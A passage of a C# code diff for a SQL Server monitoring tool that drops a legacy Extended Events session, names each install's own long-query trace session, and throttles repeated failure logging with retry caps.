+    private readonly ConcurrentDictionary<(int ServerId, string StateKey), bool> _legacyLongQuerySessionRecorded = new();
+
+    /* The servers whose every key is recorded this start: the legacy step has nothing left to look at. */
+    private readonly ConcurrentDictionary<string, bool> _legacyLongQuerySessionDone = new();
+
+    /* The servers that already logged the line about a legacy session an older install created again: once per start. */
+    private readonly ConcurrentDictionary<string, bool> _legacyLongQuerySessionReported = new();
+
+    /* The second look in each ensure's batch: does the legacy session exist? Its name is a parameter that is NULL when the
+       look is not due, so the one statement text serves every cycle. */
+    private const string LegacyLongQuerySessionServerProbeSql = @"
+
+SELECT /* PerformanceMonitorLite */
+    legacy_exists = 1
+FROM sys.server_event_sessions AS ses
+WHERE ses.name = @legacy_session_name;";
+
+    private const string LegacyLongQuerySessionDatabaseProbeSql = @"
+
+SELECT /* PerformanceMonitorLite */
+    legacy_exists = 1
+FROM sys.database_event_sessions AS des
+WHERE des.name = @legacy_session_name;";
+
+    /// <summary>
+    /// One long-query reconcile's share of the legacy step: whether the step runs this pass, the one listing of every database
+    /// that the step and the drop of this install's own session share, and the failure the step keeps until the rest of the
+    /// reconcile has run. The pass throws that failure at its end, so each reconcile costs the retry cap one failed pass at most.
+    /// </summary>
+    private sealed class LongQueryReconcilePass
+    {
+        private readonly Func<Task<List<string>>> _listEvery;
+        private Task<List<string>>? _listed;
+
+        public LongQueryReconcilePass(bool legacyDue, Func<Task<List<string>>> listEvery)
+        {
+            LegacyDue = legacyDue;
+            _listEvery = listEvery;
+        }
+
+        public bool LegacyDue { get; }
+
+        public LongQueryTraceDropException? LegacyFailure { get; set; }
+
+        /// <summary>Every database, listed once for the whole pass. A failed listing fails every caller with the same exception.</summary>
+        public Task<List<string>> ListedAsync() => _listed ??= _listEvery();
+
+        public void ThrowLegacyFailure()
+        {
+            if (LegacyFailure is { } failure)
+            {
+                throw failure;
+            }
+        }
+    }
+
+    /// <summary>True until this server's legacy drop is on record, for this start.</summary>
+    private bool LegacyLongQuerySessionPending(ServerConnection server) =>
+        !_legacyLongQuerySessionDone.ContainsKey(server.Id);
+
+    /// <summary>
+    /// Whether this pass runs the legacy step: it is still pending, and either the retry has not given up or the pass is due for
+    /// another reason (the hourly attempt after the cap, a start, or a change to the trace's settings).
+    /// </summary>
+    private bool LegacyLongQuerySessionDue(ServerConnection server, LongQueryTraceDropRetry retry, bool passDue) =>
+        LegacyLongQuerySessionPending(server) && (retry.NextAttemptUtc is null || passDue);
+
+    /// <summary>
+    /// The two failures of one pass as one: the databases of both, so the warning that gives up names every place the sessions may
+    /// remain. A drop on the server's own scope has no database to name.
+    /// </summary>
+    private static LongQueryTraceDropException MergeLongQueryTraceDropFailures(LongQueryTraceDropException first, LongQueryTraceDropException second)
+    {
+        if (first.OnServer || second.OnServer)
+        {
+            return first.OnServer ? first : second;
+        }
+
+        var databases = first.Databases.Concat(second.Databases).Distinct(StringComparer.OrdinalIgnoreCase).ToList();
+        return new LongQueryTraceDropException(databases, (Exception?)second.InnerException ?? second, second.CreateNote ?? first.CreateNote);
+    }
+
+    /// <summary>
+    /// Drops the legacy session where it is not yet recorded as dropped, and records each drop right after it, so a later pass
+    /// retries only the databases that failed. On Azure SQL Database that is every listed database except master and the databases
+    /// monitored as their own servers, as the trace-off path lists them (<see cref="LongQueryTraceDatabases.Plan"/>); an exclusion
+    /// and another registration's session do not spare a database, because nothing owns the legacy session any more. A database
+    /// monitored as its own server runs its own legacy drop, under its own record. Server scope is the one database named with an
+    /// empty string. A failure is kept on the pass, not thrown, so this install's own session is still created. A record that
+    /// cannot be read skips the step for this pass: it is never taken for "not dropped".
+    /// </summary>
+    private async Task RunLegacyLongQuerySessionAsync(
+        ServerConnection server, LongQueryReconcilePass pass, bool isAzureSqlDatabase, bool afterTheCap, CancellationToken cancellationToken)
+    {
+        if (!pass.LegacyDue)
+        {
+            return;
+        }
+
+        var serverId = GetServerId(server);
+        IReadOnlyList<string> databases;
+        if (isAzureSqlDatabase)
+        {
+            try
+            {
+                /* The trace-off path's own plan, over the same one listing and the same separately monitored databases it reads
+                   (SeparatelyMonitoredDatabasesFor), with no exclusion and no other registration's session applied: Darling's
+                   legacy drop asks the plan the same way. */
+                var listed = await pass.ListedAsync();
+                databases = LongQueryTraceDatabases.Plan(
+                    enabled: false, listed, Array.Empty<string>(), SeparatelyMonitoredDatabasesFor(server), keptElsewhere: Array.Empty<string>()).Drop;
+            }
+            catch (LongQueryTraceDropException ex)
+            {
+                pass.LegacyFailure = ex;
+                return;
+            }
+        }
+        else
+        {
+            databases = new[] { string.Empty };
+        }
+
+        var unknown = databases
+            .Where(database => !_legacyLongQuerySessionRecorded.ContainsKey((serverId, LegacyLongQuerySession.StateKey(database))))
+            .ToList();
+        if (unknown.Count > 0)
+        {
+            var stored = await ReadLegacyLongQuerySessionRecordsAsync(server, serverId, cancellationToken);
+            if (stored is null)
+            {
+                return;
+            }
+
+            foreach (var key in stored)
+            {
+                _legacyLongQuerySessionRecorded[(serverId, key)] = true;
+            }
+
+            unknown = unknown.Where(database => !stored.Contains(LegacyLongQuerySession.StateKey(database))).ToList();
+        }
+
+        if (unknown.Count == 0)
+        {
+            _legacyLongQuerySessionDone[server.Id] = true;
+            return;
+        }
+
+        try
+        {
+            if (isAzureSqlDatabase)
+            {
+                await LongQueryTraceDatabases.DropEachAsync(
+                    unknown,
+                    (database, token) => DropLegacyLongQuerySessionAsync(server, database, isAzureSqlDatabase: true, token),
+                    (database, ex) =>
+                    {
+                        var line = $"[{server.DisplayName}] [{database}] Could not drop the long-query session that earlier versions shared between installs: {ex.Message}";
+                        if (afterTheCap)
+                        {
+                            AppLogger.Debug("XeSession", line);
+                        }
+                        else
+                        {
+                            AppLogger.Warn("XeSession", line);
+                        }
+                    },
+                    createNote: null,
+                    cancellationToken);
+            }
+            else
+            {
+                try
+                {
+                    await DropLegacyLongQuerySessionAsync(server, string.Empty, isAzureSqlDatabase: false, cancellationToken);
+                }
+                catch (Exception ex) when (ex is not OperationCanceledException)
+                {
+                    throw LongQueryTraceDropException.ForServer(ex);
+                }
+            }
+
+            _legacyLongQuerySessionDone[server.Id] = true;
+        }
+        catch (LongQueryTraceDropException ex)
+        {
+            pass.LegacyFailure = ex;
+        }
+    }
+
+    /// <summary>The guarded drop of the legacy session in one database (server scope when the name is empty), then its record.</summary>
+    private async Task DropLegacyLongQuerySessionAsync(ServerConnection server, string database, bool isAzureSqlDatabase, CancellationToken cancellationToken)
+    {
+        var name = LongQueryCompletionsCollector.LegacyXeSessionName;
+        if (LongQueryTraceDatabaseOverrideForTests is { } dropOverride)
+        {
+            await dropOverride(server, database, false, name, cancellationToken);
+        }
+        else if (isAzureSqlDatabase)
+        {
+            /* #4961: the same stop-then-drop order as this install's own session, for a registration with read-only intent. */
+            await DropAzureSessionInDatabaseAsync(server, database, name, cancellationToken);
+        }
+        else if (LongQueryTraceStepOverrideForTests is { } stepOnServer)
+        {
+            /* Below it, a test replaces the open and the work, and sees the registration's own connection string (#4961). */
+            await stepOnServer(server, string.Empty, RegistrationConnectionString(server), LongQueryTraceStep.Drop, name, cancellationToken);
+        }
+        else
+        {
+            using var connection = await CreateConnectionAsync(server, cancellationToken);
+            using var command = new SqlCommand(LongQueryCompletionsCollector.BuildDropSessionSql(name, databaseScoped: false), connection);
+            command.CommandTimeout = CommandTimeoutSeconds;
+            await command.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        /* Drop, then record: a crash between the two costs one more guarded drop at the next start, and recording first could
+           lose the drop for good. A record that cannot be written fails the step like a drop does, so it takes the same cap. */
+        await RecordLegacyLongQuerySessionDropAsync(server, database, cancellationToken);
+    }
+
+    private async Task RecordLegacyLongQuerySessionDropAsync(ServerConnection server, string database, CancellationToken cancellationToken)
+    {
+        var serverId = GetServerId(server);
+        var stateKey = LegacyLongQuerySession.StateKey(database);
+        var utcNow = LongQueryTraceUtcNowForTests?.Invoke() ?? DateTime.UtcNow;
+
+        using (var writeLock = _duckDb.AcquireWriteLock())
+        {
+            using var connection = _duckDb.CreateConnection();
+            await connection.OpenAsync(cancellationToken);
+            using var command = connection.CreateCommand();
+            command.CommandText = @"
+INSERT OR REPLACE INTO collector_state (server_id, collector_name, state_key, state_value, updated_at)
+VALUES ($1, $2, $3, $4, $5)";
+            command.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = serverId });
+            command.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = LegacyLongQuerySession.StateCollector });
+            command.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = stateKey });
+            command.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = utcNow.ToString("O", CultureInfo.InvariantCulture) });
+            command.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = utcNow });
+            await command.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        _legacyLongQuerySessionRecorded[(serverId, stateKey)] = true;
+    }
+
+    /// <summary>
+    /// The drop records this registration holds, or null when the store could not be read. Null is not "none": the step skips the
+    /// pass and reads again on the next one, so a failed read never becomes a second drop.
+    /// </summary>
+    private async Task<HashSet<string>?> ReadLegacyLongQuerySessionRecordsAsync(ServerConnection server, int serverId, CancellationToken cancellationToken)
+    {
+        try
+        {
+            using var readLock = _duckDb.AcquireReadLock(cancellationToken);
+            using var connection = _duckDb.CreateConnection();
+            await connection.OpenAsync(cancellationToken);
+            using var command = connection.CreateCommand();
+            command.CommandText = @"
+SELECT state_key
+FROM collector_state
+WHERE server_id = $1
+AND   collector_name = $2
+AND   starts_with(state_key, $3)";
+            command.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = serverId });
+            command.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = LegacyLongQuerySession.StateCollector });
+            command.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = LegacyLongQuerySession.StateKeyPrefix });
+
+            var keys = new HashSet<string>(StringComparer.Ordinal);
+            using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                keys.Add(reader.GetString(0));
+            }
+
+            return keys;
+        }
+        catch (OperationCanceledException)
+        {
+            throw;
+        }
+        catch (Exception ex)
+        {
+            AppLogger.Debug("XeSession", $"[{server.DisplayName}] The record of the legacy long-query session's drop could not be read, so this cycle leaves the legacy session alone and the next one reads again: {ex.Message}");
+            return null;
+        }
+    }
+
+    /* The look for an older install's copy is due once the drop is on record and the line has not been logged this start. */
+    private bool ShouldLookForLegacyLongQuerySession(ServerConnection server, string database) =>
+        _legacyLongQuerySessionRecorded.ContainsKey((GetServerId(server), LegacyLongQuerySession.StateKey(database)))
+        && !_legacyLongQuerySessionReported.ContainsKey(server.Id);
+
+    /// <summary>The parameter of the probe in each ensure's batch: the legacy name when the look is due, otherwise NULL, which matches nothing.</summary>
+    private SqlParameter LegacyLongQuerySessionProbeParameter(ServerConnection server, string database) =>
+        new("@legacy_session_name", SqlDbType.NVarChar, 128)
+        {
+            Value = ShouldLookForLegacyLongQuerySession(server, database) ? LongQueryCompletionsCollector.LegacyXeSessionName : DBNull.Value,
+        };
+
+    /// <summary>
+    /// An ensure's batch found the legacy session although this install dropped it: an older Lite or Darling created it again. It
+    /// is left alone, and one Information line per start says so. Nothing is logged until the drop is on record.
+    /// </summary>
+    private void ReportLegacyLongQuerySessionFound(ServerConnection server, string database)
+    {
+        if (!ShouldLookForLegacyLongQuerySession(server, database) || !_legacyLongQuerySessionReported.TryAdd(server.Id, true))
+        {
+            return;
+        }
+
+        var where = database.Length == 0 ? string.Empty : $"[{database}] ";
+        AppLogger.Info("XeSession", $"[{server.DisplayName}] {where}The long-query session {LongQueryCompletionsCollector.LegacyXeSessionName} exists. An older Performance Monitor Lite or Darling created it. This install dropped its own copy once and no longer touches it, so it stays until someone drops it by hand. The README says how, and Darling's --drop-xe-sessions command drops it.");
+    }
+
+    /// <summary>The same report for a test that replaces the ensure's batch (<see cref="LegacyLongQuerySessionExistsForTests"/>).</summary>
+    private void LookForLegacyLongQuerySessionForTests(ServerConnection server, string database)
+    {
+        if (LegacyLongQuerySessionExistsForTests is { } exists && ShouldLookForLegacyLongQuerySession(server, database) && exists(server, database))
+        {
+            ReportLegacyLongQuerySessionFound(server, database);
+        }
+    }
+}
diff --git a/Lite/Services/RemoteCollectorService.LongQueryCompletions.cs b/Lite/Services/RemoteCollectorService.LongQueryCompletions.cs
index 600337195d..abd1245334 100644
--- a/Lite/Services/RemoteCollectorService.LongQueryCompletions.cs
+++ b/Lite/Services/RemoteCollectorService.LongQueryCompletions.cs
@@ -10,6 +10,7 @@
 using System.Collections.Concurrent;
 using System.Collections.Generic;
 using System.Data;
+using System.Linq;
 using System.Threading;
 using System.Threading.Tasks;
 using Microsoft.Data.SqlClient;
@@ -21,15 +22,30 @@ namespace PerformanceMonitorLite.Services;
 public partial class RemoteCollectorService
 {
     /* The session name + DDL live in the shared definition so the ring-buffer reader and this
-       lifecycle can never disagree on them (#1496). */
-    private const string LongQueryXeSessionName = LongQueryCompletionsCollector.XeSessionName;
+       lifecycle can never disagree on them (#1496). The name is this install's own (#4961), so it is a call, not a
+       constant: it comes from the install id. */
+    private string? LongQuerySessionName() =>
+        LongQueryCompletionsCollector.TryXeSessionNameFor(LongQueryCompletionsCollector.LiteProduct, GetInstallId());
 
-    /* Per-server last-applied enabled state for the long-query trace's XE session, so the reconcile
-       does not open a connection every cycle for a server whose state has not changed. Keyed by
-       server id; unset = not yet reconciled. In-memory (cleared on app restart, which then re-
-       reconciles once). true = the session is being ensured (enabled); false = confirmed dropped
-       (disabled). */
-    private readonly ConcurrentDictionary<string, bool> _longQueryTraceApplied = new();
+    /// <summary>
+    /// The fault the reconcile kept for this server, or null: what the long-query collector's next run rethrows instead
+    /// of reading a session that does not exist.
+    /// </summary>
+    internal Exception? LongQueryTraceFaultState(string serverId) =>
+        _longQueryTraceFault.TryGetValue(serverId, out var fault) ? fault : null;
+
+    /* Per-server last-applied state for the long-query trace's XE session, so the reconcile does not
+       open a connection every cycle for a server whose state has not changed. Keyed by server id;
+       unset = not yet reconciled. In-memory (cleared on app restart, which then re-reconciles once).
+       Enabled true = the session is being ensured; false = confirmed dropped. StateKey is what the
+       Azure SQL Database plan depended on (LongQueryTraceDatabases.StateKey): when the exclusions or
+       the databases monitored as their own servers change, the last reconcile no longer says where
+       the session belongs, so it runs again. Empty on every other engine. */
+    private readonly ConcurrentDictionary<string, (bool Enabled, string StateKey)> _longQueryTraceApplied = new();
+
+    /* Failed cleanup passes in a row, per server, for LongQueryTraceDatabases.DropAttemptCap, and the clock for the
+       hourly attempts after the cap. */
+    private readonly ConcurrentDictionary<string, LongQueryTraceDropRetry> _longQueryTraceDropRetry = new();
 
     /* #3754: the ENABLE failure the reconcile below caught, per server, kept until a later reconcile
        succeeds. The reconcile runs from the per-server collection loop, OUTSIDE the collector's run - so
@@ -44,6 +60,37 @@ this slot is how the long-query collector's out-of-run ensure reaches the same a
        SqlException's number (PERMISSIONS for a denied ALTER ANY EVENT SESSION, ERROR otherwise). */
     private readonly ConcurrentDictionary<string, Exception> _longQueryTraceFault = new();
 
+    /* #4964: the servers whose create has already logged its failure at Warning, kept until a later create succeeds. The
+       create runs on every cycle, on purpose: each attempt keeps its fault (above), so the run reads SESSION_MISSING. Only
+       the log level of a repeated failure changes, from Warning to Debug. Lite has no reconnect to reset it, because it
+       creates on every cycle: a reconnect is the first create that succeeds. In memory, so a restart warns again. */
+    private readonly ConcurrentDictionary<string, bool> _longQueryTraceCreateWarned = new();
+
+    /* #4964: the servers whose collector has already logged its own line for the kept failure above at that line's full
+       level, kept until the create's own state above is cleared (a create that succeeds, or the trace turned off). The
+       collector's run rethrows the kept failure on every cycle, so a create that cannot succeed made that line repeat at
+       Warning or Error without end, beside create lines that log the repeats at Debug. The first run to rethrow it logs
+       the line at its level; the runs after it log the same lines at Debug. Kept apart from the create's state because
+       the create runs in the reconcile and the collector in a run: the run may come a cycle later, or not every cycle,
+       and its line is logged once either way. The run row, its classification and the exception are the same on every
+       run. In memory, so a restart logs the line again. */
+    private readonly ConcurrentDictionary<string, bool> _longQueryTraceFaultLogged = new();
+
+    /* #4964: the same rule for the always-on deadlock and blocked-process sessions' ensure, kept per server and per
+       session (the key is the server id, then the session name): the ensures whose last cycle failed, until a cycle of that
+       session on that server succeeds. Their ensure runs on every collector cycle: in every monitored database on Azure SQL
+       Database, so a server that refuses the create refuses it on every cycle, and once on the server everywhere else. The
+       first failing cycle logs its refusals at Warning and the all-refused line at Error (the server-scoped arm's one failure
+       at Warning or Error); the cycles after it log the same lines at Debug, and so does the collector's own line for the
+       failure. The retry on every cycle, and the exception each failing cycle throws for the collector to record, do not
+       change. In memory, so a restart warns again. */
+    private readonly ConcurrentDictionary<string, bool> _databaseScopedXeSessionEnsureWarned = new();
+
+    /* The engine edition the reconcile judges a server by. Its own instance, because the app's other one lives in the main
+       window. A known live edition wins and is remembered, so a blank status that a failed connection check wrote leaves the
+       server judged by the edition it had. Its dictionary is concurrent: the per-server tasks run in parallel. */
+    private readonly KnownEngineEditions _engineEditions = new();
+
     /// <summary>
     /// Reconciles the long-query completion XE session to the collector's enabled flag — Erik's
     /// dedicated switch (#1496), default OFF. ENABLED: ensure the session exists + running (re-ensured
@@ -56,28 +103,196 @@ this slot is how the long-query collector's out-of-run ensure reaches the same a
     /// connection to every server forever. Called unconditionally from the per-server collection loop
     /// (NOT gated by the enabled flag), because a disabled collector is never dispatched and so the drop
     /// has nowhere else to run.
+    ///
+    /// <para>On Azure SQL Database, where each database holds its own session, the databases come from
+    /// <see cref="LongQueryTraceDatabases.Plan"/>, shared with Darling. Enabled: created in each monitored
+    /// database, and dropped from listed databases outside that set whenever the plan's settings change
+    /// (and once after each start). Disabled: dropped from every listed database, exclusions included.
+    /// Both leave alone a database monitored as its own server: its own registration owns that session.
+    /// Neither drops the session from a database where another registration of the same logical server has the
+    /// trace on and keeps it (<see cref="LongQueryTraceDatabases.KeptElsewhere"/>). A drop that fails is retried on the next cycles, up to <see cref="LongQueryTraceDatabases.DropAttemptCap"/>
+    /// failed passes in a row; then one warning names the databases where the session may remain, and the drop is
+    /// tried again once an hour, logged at Debug.</para>
     /// </summary>
     public async Task ReconcileLongQueryCompletionsXeSessionAsync(ServerConnection server, CancellationToken cancellationToken = default)
     {
+        /* #4961: a server whose removal has begun is not reconciled: its removal is dropping the session, and a create on
+           this cycle would bring it back. */
+        if (_longQueryTraceRemoved.ContainsKey(server.Id))
+        {
+            return;
+        }
+
         var schedule = _scheduleManager.GetScheduleForServer(server.Id, "long_query_completions");
         var enabled = schedule?.Enabled ?? false;
 
+        /* Read once. The ensure and the drop below get this answer: a status that changes during the reconcile (a blank one
+           from a failed connection check, then 5 again) must not send the drop down the Azure branch with none of the
+           registrations this reconcile worked from. */
+        var isAzureSqlDatabase = _engineEditions.IsAzureSqlDatabase(server, _serverManager.GetConnectionStatus(server.Id).SqlEngineEdition);
+        var separatelyMonitored = isAzureSqlDatabase ? SeparatelyMonitoredDatabasesFor(server) : Array.Empty<string>();
+
+        /* Azure SQL Database: the other registrations of this logical server, so a drop leaves a database where one
+           of them keeps the session (LongQueryTraceDatabases.KeptElsewhere). They are in the state key too: a drop
+           skipped for one of them runs once that one turns its trace off. */
+        IReadOnlyList<LongQueryTraceRegistration> registrations = isAzureSqlDatabase
+            ? LongQueryTraceRegistrationsFor(server)
+            : Array.Empty<LongQueryTraceRegistration>();
+        var serverSeparatelyMonitored = isAzureSqlDatabase
+            ? KnownEngineEditions.SeparatelyMonitoredDatabasesOnServer(server.ServerName, _serverManager.GetAllServers())
+            : Array.Empty<string>();
+        IReadOnlyList<string> KeptElsewhere(IEnumerable<string> candidates) =>
+            LongQueryTraceDatabases.KeptElsewhere(server.Id, server.ServerName, candidates, registrations, serverSeparatelyMonitored);
+
+        var stateKey = isAzureSqlDatabase
+            ? LongQueryTraceDatabases.StateKey(
+                enabled,
+                databaseScope: null,
+                server.ExcludedDatabases,
+                separatelyMonitored,
+                LongQueryTraceDatabases.CoOwners(server.Id, server.ServerName, registrations, serverSeparatelyMonitored))
+            : string.Empty;
+
+        /* After the cap, the cleanup runs once an hour, on this clock. That attempt logs its failures at Debug, so
+           the one warning is not repeated. */
+        var utcNow = LongQueryTraceUtcNowForTests?.Invoke() ?? DateTime.UtcNow;
+        var retry = _longQueryTraceDropRetry.GetOrAdd(server.Id, _ => new LongQueryTraceDropRetry());
+        var afterTheCap = retry.RetryDue(stateKey, utcNow);
+
+        /* #4964: a create that already warned logs its repeated failure at Debug. Turning the trace off ends the run of
+           create failures, so a failure after turning it on again warns again. */
+        if (!enabled)
+        {
+            _longQueryTraceCreateWarned.TryRemove(server.Id, out _);
+            _longQueryTraceFaultLogged.TryRemove(server.Id, out _);
+        }
+
+        if (!enabled)
+        {
+            _longQueryTraceReadOnlyRefused.TryRemove(server.Id, out _);
+        }
+
+        var createRepeats = enabled && _longQueryTraceCreateWarned.ContainsKey(server.Id);
+
         try
         {
+            var sessionName = LongQuerySessionName();
+            if (sessionName is null)
+            {
+                /* #4961: no install id, no session. A host built without an id store has no name to make, and never falls
+                   back to the legacy one. Enabled: nothing is created, and the run records why as a fault. Disabled: there is
+                   no session of this install's to drop. */
+                if (enabled)
+                {
+                    /* A store that could not read or save the id says so, and that the next cycle tries again; a host with no store has nothing to retry. */
+                    var noId = new InvalidOperationException(InstallIdFailure() is { } idFailure
+                        ? $"The long-query trace was not created: this install has no id for now, because {idFailure}. The next cycle tries again."
+                        : "The long-query trace was not created: this install has no id to name its Extended Events session.");
+                    var noIdLine = $"[{server.DisplayName}] {noId.Message}";
+                    if (createRepeats)
+                    {
+                        AppLogger.Debug("XeSession", noIdLine);
+                    }
+                    else
+                    {
+                        AppLogger.Warn("XeSession", noIdLine);
+                    }
+
+                    _longQueryTraceFault[server.Id] = noId;
+                    _longQueryTraceCreateWarned[server.Id] = true;
+                }
+                else
+                {
+                    _longQueryTraceFault.TryRemove(server.Id, out _);
+                }
+
+                return;
+            }
+
+            /* #4961: the session that earlier versions shared between installs is dropped once per registration and database, and
+               each cycle tries until the drop is on record. A pass runs it when it is pending and the retry has not given up, or
+               the pass is due anyway (the hourly attempt, a start, a change to the settings). One listing of every database serves
+               it and the drop of this install's own session. */
+            var passDue = afterTheCap || !IsLongQueryTraceApplied(server.Id, enabled, stateKey);
+            var pass = new LongQueryReconcilePass(
+                LegacyLongQuerySessionDue(server, retry, passDue),
+                () => ListEveryLongQueryTraceDatabaseAsync(server, cancellationToken));
+
             if (enabled)
             {
-                await EnsureLongQueryCompletionsXeSessionAsync(server, cancellationToken);
-                _longQueryTraceApplied[server.Id] = true;
+                /* #4961: a read-only database refused the last create, and stays read-only until the registration or the
+                   database changes: not tried again for an hour. The kept fault stays, so the run still records it. */
+                if (LongQueryTraceReadOnlyRefusalHolds(server.Id, stateKey, utcNow))
+                {
+                    return;
+                }
+
+                /* #5378: a login that was told no is not asked again this session. The create and start DDL needs ALTER ANY
+                   EVENT SESSION, and a denial is not transient: re-running it every cycle only repeats the denial in the
+                   server's audit and error logs. The kept fault stays, so the run still records PERMISSIONS. */
+                if (LongQueryTracePermissionDenialHolds(server))
+                {
+                    AppLogger.Debug("XeSession", $"[{server.DisplayName}] Long-query completion XE session not ensured - permission denied this session");
+                    return;
+                }
+
+                var monitored = await EnsureLongQueryCompletionsXeSessionAsync(server, sessionName, isAzureSqlDatabase, separatelyMonitored, createRepeats, pass, afterTheCap, cancellationToken);
+                _longQueryTraceReadOnlyRefused.TryRemove(server.Id, out _);
 
                 /* #3754: the session exists (everywhere it could) - a fault from an earlier cycle is over. */
                 _longQueryTraceFault.TryRemove(server.Id, out _);
+                _longQueryTraceCreateWarned.TryRemove(server.Id, out _);
+                _longQueryTraceFaultLogged.TryRemove(server.Id, out _);
+
+                /* The server's own session has no cleanup pass while the trace is on, so a create that succeeded is the end of
+                   a run of failed drops: the next time it is turned off, the count starts again (#4964). */
+                if (monitored is null && !LegacyLongQuerySessionPending(server))
+                {
+                    retry.Reset();
+                }
+
+                /* Azure SQL Database: drop the session from listed databases outside the monitored set, when
+                   the plan's settings changed since the last pass that finished (and once after each start), or
+                   when the hourly attempt after the cap is due. */
+                if (monitored is not null && passDue)
+                {
+                    await DropLongQueryTraceOutsideTheSetAsync(server, sessionName, monitored, separatelyMonitored, KeptElsewhere, afterTheCap, pass, cancellationToken);
+                    if (!LegacyLongQuerySessionPending(server))
+                    {
+                        retry.Reset();
+                    }
+                }
+
+                /* #4961: a failed legacy drop counts as this pass's failure, after this install's own session was ensured. */
+                pass.ThrowLegacyFailure();
+                MarkLongQueryTraceApplied(server.Id, enabled: true, stateKey);
             }
-            else if (_longQueryTraceApplied.GetValueOrDefault(server.Id, true))
+            else if (passDue || pass.LegacyDue)
             {
-                /* Disabled and either never reconciled or previously enabled: drop once, then remember
-                   it is gone so the next cycles skip the connection entirely. */
-                await DropLongQueryCompletionsXeSessionAsync(server, cancellationToken);
-                _longQueryTraceApplied[server.Id] = false;
+                /* Disabled and either never reconciled, previously enabled, or reconciled under different
+                   settings: drop, then remember it is gone so the next cycles skip the connection entirely. #4961: on the
+                   server's own session, a drop would stop the trace another registration of this install keeps on the same
+                   instance, so a positive match leaves it, and counts as done: that registration's own drop removes the
+                   session when it turns its trace off. A name that is not known matches nothing, and drops as it always did. */
+                if (!isAzureSqlDatabase && (await LongQueryTraceInstanceGuardFor(server, cancellationToken)).Kept)
+                {
+                    AppLogger.Info("XeSession", $"[{server.DisplayName}] Long-query completion XE session left in place: another registration of this install keeps it on the same instance");
+
+                    /* The session earlier versions shared between installs is nobody's to keep: its drop still runs. */
+                    await RunLegacyLongQuerySessionAsync(server, pass, isAzureSqlDatabase: false, afterTheCap, cancellationToken);
+                    pass.ThrowLegacyFailure();
+                }
+                else
+                {
+                    await DropLongQueryCompletionsXeSessionAsync(server, sessionName, isAzureSqlDatabase, separatelyMonitored, KeptElsewhere, afterTheCap, pass, cancellationToken);
+                }
+
+                if (!LegacyLongQuerySessionPending(server))
+                {
+                    retry.Reset();
+                }
+
+                MarkLongQueryTraceApplied(server.Id, enabled: false, stateKey);
 
                 /* #3754: nothing to be honest about while disabled - the collector is not dispatched - and a
                    fault left here would classify the first run after re-enabling before its reconcile ran. */
@@ -88,11 +303,56 @@ fault left here would classify the first run after re-enabling before its reconc
         {
             throw;
         }
+        catch (LongQueryTraceDropException ex)
+        {
+            /* Azure SQL Database: a drop failed, or the databases could not be listed for it. The state stays
+               unapplied so the next cycle tries again, until the cap: then it counts as done, and one warning
+               names where the session may remain. After that, one attempt an hour, logged at Debug, so the
+               warning is not repeated. While enabled, the create side had already finished. */
+            switch (retry.RecordFailure(stateKey, utcNow))
+            {
+                case LongQueryTraceDropOutcome.GaveUp:
+                    _longQueryTraceApplied[server.Id] = (enabled, stateKey);
+                    AppLogger.Warn("XeSession", $"[{server.DisplayName}] {LongQueryTraceDatabases.GiveUpWarning(ex)}");
+                    break;
+                case LongQueryTraceDropOutcome.TryAgainInAnHour:
+                    AppLogger.Debug("XeSession", $"[{server.DisplayName}] {ex.Message} The next attempt is in an hour.");
+                    break;
+                default:
+                    AppLogger.Warn("XeSession", $"[{server.DisplayName}] {ex.Message} The next cycle tries again.");
+                    break;
+            }
+        }
         catch (Exception ex)
         {
-            /* Leave the applied state unchanged so the next cycle retries; a failed reconcile must
-               never break the collection loop. */
-            AppLogger.Warn("XeSession", $"[{server.DisplayName}] Failed to reconcile long-query completion XE session: {ex.Message}");
+            /* Only the create side lands here (#4964): every failure of the drop half, on both arms, reaches the catch above
+               as a LongQueryTraceDropException - the Azure arm's listing and each database's drop, and the server's own drop
+               through ForServer - and a cancellation is rethrown before either. So a disabled trace never gets here, and this
+               catch needs no clock move, unlike Darling's RetryAfterCap arm: Lite runs the create on every cycle anyway, so
+               there is no pass whose repeats a due clock would multiply. A create that threw ahead of the hourly drop attempt
+               leaves that attempt due, and the next cycle's create, once it succeeds, reaches it.
+
+               Leave the applied state unchanged so the next cycle retries; a failed reconcile must
+               never break the collection loop. #4964: the first failure of a create that cannot succeed logs at Warning;
+               the cycles after it retry just the same, and keep the fault just the same below, but log at Debug until a
+               create succeeds. */
+            var readOnlyRefusal = enabled && IsReadOnlyDatabaseRefusal(ex);
+            var reconcileFailure = $"[{server.DisplayName}] Failed to reconcile long-query completion XE session: {AlwaysOnXeSessions.DescribeFailure(ex)}";
+            if (readOnlyRefusal)
+            {
+                /* #4961: the database's own line already said why and what to change, at Warning. This one is for the
+                   record, and the create is not tried again for an hour. */
+                AppLogger.Debug("XeSession", $"{reconcileFailure} The next attempt is in an hour.");
+                _longQueryTraceReadOnlyRefused[server.Id] = (stateKey, utcNow);
+            }
+            else if (createRepeats)
+            {
+                AppLogger.Debug("XeSession", reconcileFailure);
+            }
+            else
+            {
+                AppLogger.Warn("XeSession", reconcileFailure);
+            }
 
             /* #3754: and while ENABLING, remember it, so this cycle's run of the collector is classified
                from this exception instead of reading an absent session as a quiet one. A DISABLING failure
@@ -101,32 +361,458 @@ state already buys is the whole remedy. */
             if (enabled)
             {
                 _longQueryTraceFault[server.Id] = ex;
+                _longQueryTraceCreateWarned[server.Id] = true;
             }
         }
     }
 
     /// <summary>
     /// Ensures the long-query completion XE session exists and is running. Server-scoped on
-    /// on-prem/MI/RDS; on Azure SQL DB a database-scoped session in EVERY monitored database (#1535),
-    /// matching the per-database ring-buffer read (<see cref="LongQueryCompletionsCollector.RunsPerDatabase"/>).
+    /// on-prem/MI/RDS; on Azure SQL DB a database-scoped session in each monitored database (#1535),
+    /// except a database monitored as its own server, matching the per-database ring-buffer read
+    /// (<see cref="LongQueryCompletionsCollector.RunsPerDatabase"/>,
